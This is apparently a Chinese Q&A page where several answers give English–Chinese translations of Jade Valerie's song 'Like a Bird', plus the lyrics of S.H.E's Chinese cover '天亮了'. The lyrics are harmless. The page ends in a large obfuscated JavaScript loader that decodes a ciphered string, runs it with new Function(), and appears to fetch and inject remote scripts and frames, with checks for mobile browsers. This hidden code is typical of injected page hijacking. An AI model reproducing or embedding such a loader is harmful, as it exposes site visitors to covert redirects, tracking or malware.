推荐回答（4个）
《Like a bird》——Jade Valerie
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强得多
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
I’m an addict and an angel, and I know that I am heaven expelled
我是一个痴迷者一个天使 我知道我被天堂驱逐在外
Don’t need preacher or a teacher telling me about hell
不需要牧师或是老师来告诉我关于地狱的一切
Narcissistic and I'm twisted but I’ve got secrets to tell
自恋 被歪解的我有秘密要说
Let me add
让我再说一说吧
I am trapped with a past that has broken me down
我被困在了使我崩溃的过去
And in your eyes I see I’ve died just like the smile in my heart
在你眼中我看见自己正如我心中的微笑一般已死去
In the end, I’ll begin like the bright morning star
最终 我会像明亮的晨星一样重新开始
Oh yeah
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
I’m hungover and I’m colder
我感到很难受 感到越来越冷
from the spaces that your love left behind
在你留下丝丝爱意的那些地方
I’ve been drinking to stop thinking about the rage in my mind
我不断喝着酒想让自己不要再去想心中的愤怒
Made you taller standing smaller just to fit by your side
但愿你变得更高大 而我站在你身旁只为衬托你
You were wrong, I am strong
你错了 其实我很坚强的
Just don’t belong in the box of your thoughts
只是不像你想的那样
You don’t believe in me, what did you see in me?
你不相信我 你在我身上看到了什么
I ‘m a gift that you got
我是你拥有的礼物
Gonna fly in your sky, be what you think I’m not
我想要在你的天空展翅高飞 成为你认为我无法成为的那种人
Oh yeah
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强
Like a Bird or an Island you can’t reach（X2）
像一只展翅高飞的小鸟或是你无法到达的岛屿
You don’t believe in me
你不相信我
What did you see in me oh
你在我身上看到了什么
I hope you’re watching me
我希望你看着我
fighting to change
为了改变而战
oh……oh yeah…..
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强得多
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
有的地方可能译得不太准确~~~
中文名称：《像一只展翅高飞的小鸟》
外文名称：《like a bird》
演唱：Jade Valerie
专辑：《bittersweet symphony》
歌词：
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强得多
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
I’m an addict and an angel, and I know that I am heaven expelled
我是一个痴迷者一个天使 我知道我被天堂驱逐在外
Don’t need preacher or a teacher telling me about hell
不需要牧师或是老师来告诉我关于地狱的一切
Narcissistic and I'm twisted but I’ve got secrets to tell
自恋 被歪解的我有秘密要说
Let me add
让我再说一说吧
I am trapped with a past that has broken me down
我被困在了使我崩溃的过去
And in your eyes I see I’ve died just like the smile in my heart
在你眼中我看见自己正如我心中的微笑一般已死去
In the end, I’ll begin like the bright morning star
最终 我会像明亮的晨星一样重新开始
Oh yeah
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
I’m hungover and I’m colder
我感到很难受 感到越来越冷
from the spaces that your love left behind
在你留下丝丝爱意的那些地方
I’ve been drinking to stop thinking about the rage in my mind
我不断喝着酒想让自己不要再去想心中的愤怒
Made you taller standing smaller just to fit by your side
我站在你身边只为衬托你，使你显得更高大
You were wrong, I am strong
你错了 其实我很坚强的
Just don’t belong in the box of your thoughts
只是不像你想的那样
You don’t believe in me, what did you see in me?
你不相信我 你在我身上看到了什么
I ‘m a gift that you got
我是你拥有的礼物
Gonna fly in your sky, be what you think I’m not
我想要在你的天空展翅高飞 成为你认为我无法成为的那种人
Oh yeah
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强
Like a Bird or an Island you can’t reach（X2）
像一只展翅高飞的小鸟或是你无法到达的岛屿
You don’t believe in me
你不相信我
What did you see in me oh
你在我身上看到了什么
I hope you’re watching me
我希望你看着我
fighting to change
为了改变而战
oh……oh yeah…..
Like a Bird
像一只展翅高飞的小鸟
Like a Bird
Like an Island you can’t reach
像一个你无法到达的岛屿
I know I am stronger than you think
我知道我比你认为的要坚强得多
Like a Bird or an Island you can’t reach
就像一只展翅高飞的小鸟或是你无法到达的岛屿
我自己翻译的，我英文不怎么请见谅啊！呵呵
这歌词你要了解JADE才能体会到她所要表达的意思，其实我大概知道，就是用中文不好表达出来，因为我口才极差！
似鸟高飞
我是一个让人上瘾的天使尽管我知道我已经被天堂驱逐
不需要其他人来说教
自恋，苦恼的我有秘密要说
让我合计一下我收集的那些我过去被伤害的事情
在你眼中我看见我已经死去，但对此我只不过给予个冷笑
最后，我开始闪耀如同一颗璀璨的晨星
我象一只你永远成为不了的高飞的鸟
永远抵达不到的岛屿
我知道我比你想象中的还要强壮
你留下的那空白的爱让我难受让我心冷
我用酒精麻醉自己不去想心里的愤怒
用”高大的人却只能站在渺小的地方”来形容你我想那再适合不过了
你想错了，我足够强壮
不在属于你关心的那个”盒子”
你觉得我不可能做到？你了解我吗？你仍然认为我是你的礼物，只能在你的天空里飞翔，你让我做什么就做什么吗？
不，我不会那样！！！
你不相信信我？你了解我吗？
我希望你看着我为改变这一切奋斗！
OH．．．
她是SWEETBOX的前任主唱后来单飞了，着歌表达了她想说的！
这是首意味深深的歌！
可惜我英文差不能翻译得很好！哎！
SHE的天亮了就是翻的Jade的Like a bird
中文版有SHE的天亮了
歌手：s.h.e -天亮了
作词:施人诚
作曲:rosan robert villalon jade
专辑:我的电台 fm s.h.e
music......
合:天亮了天亮了
地球又转一圈了
世界还活生生的存在着
还活着没想到我还活着
ella:穿越一场海啸什么滋味
我终于亲身体会天崩地裂
筋疲力尽灵魂不在身体里面
然而万岁万岁终于和你有个了结
hebe:你一边我一边
我们的世界最好别再重叠
也别再回想那个太长太长的昨天
太多爱太多泪别再这样浪费
合:天亮了天亮了地球又转一圈了
既然我还幸运的活着
当然要全力以赴去快乐
天亮了天亮了世界还是好好的
什么痛都是更渺小的
看太阳不是又升起来了
s:结束一段感情当然不像
瞒个假那么方便太多时间
太多随便堆在回忆那间房间
但是忍耐一定不去碰它就不危险
h:你没变我没变
我们到最后才能懂这一点
人活着不就为了实现一个个心愿
好可惜我和你许了不同的愿
合:天亮了天亮了地球又转一圈了
既然我还幸运的活着
当然要全力以赴去快乐
天亮了天亮了世界还是好好的
什么痛都是更渺小的
看太阳不是又升起来了
s:我的心是我的不会再给你了
h:我是我自己的我很快乐
....强烈喜欢原版....
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
